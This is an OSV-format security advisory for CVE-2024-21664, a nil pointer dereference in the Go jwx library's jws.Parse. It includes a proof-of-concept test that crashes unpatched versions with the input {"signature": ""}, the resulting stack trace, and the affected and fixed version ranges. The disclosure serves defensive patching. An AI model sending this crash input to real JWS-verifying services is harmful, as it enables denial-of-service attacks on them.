CVE-2024-21664: Github.com/lestrrat go/jwx Parsing JSON Serialized Payload Without Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pvcr-v8j8-j5q3",
  "modified" : "2024-01-09T21:52:54Z",
  "published" : "2024-01-09T16:18:48Z",
  "aliases" : [ "CVE-2024-21664" ],
  "summary" : "Parsing JSON serialized payload without protected field can lead to segfault",
  "details" : "### Summary\n\nCalling `jws.Parse` with a JSON serialized payload where the `signature` field is present while `protected` is absent can lead to a nil pointer dereference.\n\n### Details\n\nThis seems to also affect other functions that calls `Parse` internally, like `jws.Verify`.\n\nMy understanding of these functions from the docs is that they are supposed to fail gracefully on invalid input and don't require any prior validation.\n\nBased on the stack trace in the PoC, the issue seems to be that the processing done in `jws/message.go:UnmarshalJSON()` assumes that if a `signature` field is present, then a `protected` field is also present. If this is not the case, then the subsequent call to `getB64Value(sig.protected)` will dereference `sig.protected`, which is `nil`.\n\n### PoC\n\nReproducer:\n\n```go\npackage poc\n\nimport (\n        \"testing\"\n\n        \"github.com/lestrrat-go/jwx/v2/jws\"\n)\n\nfunc TestPOC(t *testing.T) {\n        _, _ = jws.Parse([]byte(`{\"signature\": \"\"}`))\n}\n```\n\nResult:\n\n```\n$ go test        \n--- FAIL: TestPOC (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered]\n        panic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x40 pc=0x5fd618]\n\ngoroutine 6 [running]:\ntesting.tRunner.func1.2({0x628800, 0x831030})\n        /usr/local/go/src/testing/testing.go:1545 +0x238\ntesting.tRunner.func1()\n        /usr/local/go/src/testing/testing.go:1548 +0x397\npanic({0x628800?, 0x831030?})\n        /usr/local/go/src/runtime/panic.go:914 +0x21f\ngithub.com/lestrrat-go/jwx/v2/jws.getB64Value({0x0?, 0x0?})\n        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:484 +0x18\ngithub.com/lestrrat-go/jwx/v2/jws.(*Message).UnmarshalJSON(0xc0000a2140, {0xc0000ec000, 0x11, 0x200})\n        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/message.go:323 +0x4ad\nencoding/json.(*decodeState).object(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0x16?})\n        /usr/local/go/src/encoding/json/decode.go:604 +0x6cc\nencoding/json.(*decodeState).value(0xc0000ea028, {0x64fa60?, 0xc0000a2140?, 0xc00006e630?})\n        /usr/local/go/src/encoding/json/decode.go:374 +0x3e\nencoding/json.(*decodeState).unmarshal(0xc0000ea028, {0x64fa60?, 0xc0000a2140?})\n        /usr/local/go/src/encoding/json/decode.go:181 +0x133\nencoding/json.(*Decoder).Decode(0xc0000ea000, {0x64fa60, 0xc0000a2140})\n        /usr/local/go/src/encoding/json/stream.go:73 +0x179\ngithub.com/lestrrat-go/jwx/v2/internal/json.Unmarshal({0xc00001a288, 0x11, 0x11}, {0x64fa60, 0xc0000a2140})\n        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/internal/json/json.go:26 +0x97\ngithub.com/lestrrat-go/jwx/v2/jws.parseJSON({0xc00001a288, 0x11, 0x11})\n        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:588 +0x50\ngithub.com/lestrrat-go/jwx/v2/jws.Parse({0xc00001a288, 0x11, 0x11}, {0x0?, 0xc00006e760?, 0x48450f?})\n        /home/fredrik/go/pkg/mod/github.com/lestrrat-go/jwx/v2@v2.0.18/jws/jws.go:525 +0x89\npoc.TestPOC(0x0?)\n        /home/fredrik/src/jwx_poc/poc_test.go:10 +0x57\ntesting.tRunner(0xc0000e4340, 0x68ef30)\n        /usr/local/go/src/testing/testing.go:1595 +0xff\ncreated by testing.(*T).Run in goroutine 1\n        /usr/local/go/src/testing/testing.go:1648 +0x3ad\nexit status 2\nFAIL    poc     0.005s\n```\n\n### Impact\n\nThe vulnerability can be used to crash / DOS a system doing JWS verification.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lestrrat-go/jwx"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.0.8"
      }, {
        "fixed" : "1.2.28"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lestrrat-go/jwx/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.19"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lestrrat-go/jwx/security/advisories/GHSA-pvcr-v8j8-j5q3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-21664"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lestrrat-go/jwx/commit/0e8802ce6842625845d651456493e7c87625601f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lestrrat-go/jwx/commit/8c53d0ae52d5ab1e2b37c5abb67def9e7958fd65"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lestrrat-go/jwx/commit/d69a721931a5c48b9850a42404f18e143704adcd"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lestrrat-go/jwx"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-01-09T16:18:48Z",
    "nvd_published_at" : "2024-01-09T20:15:43Z"
  }
}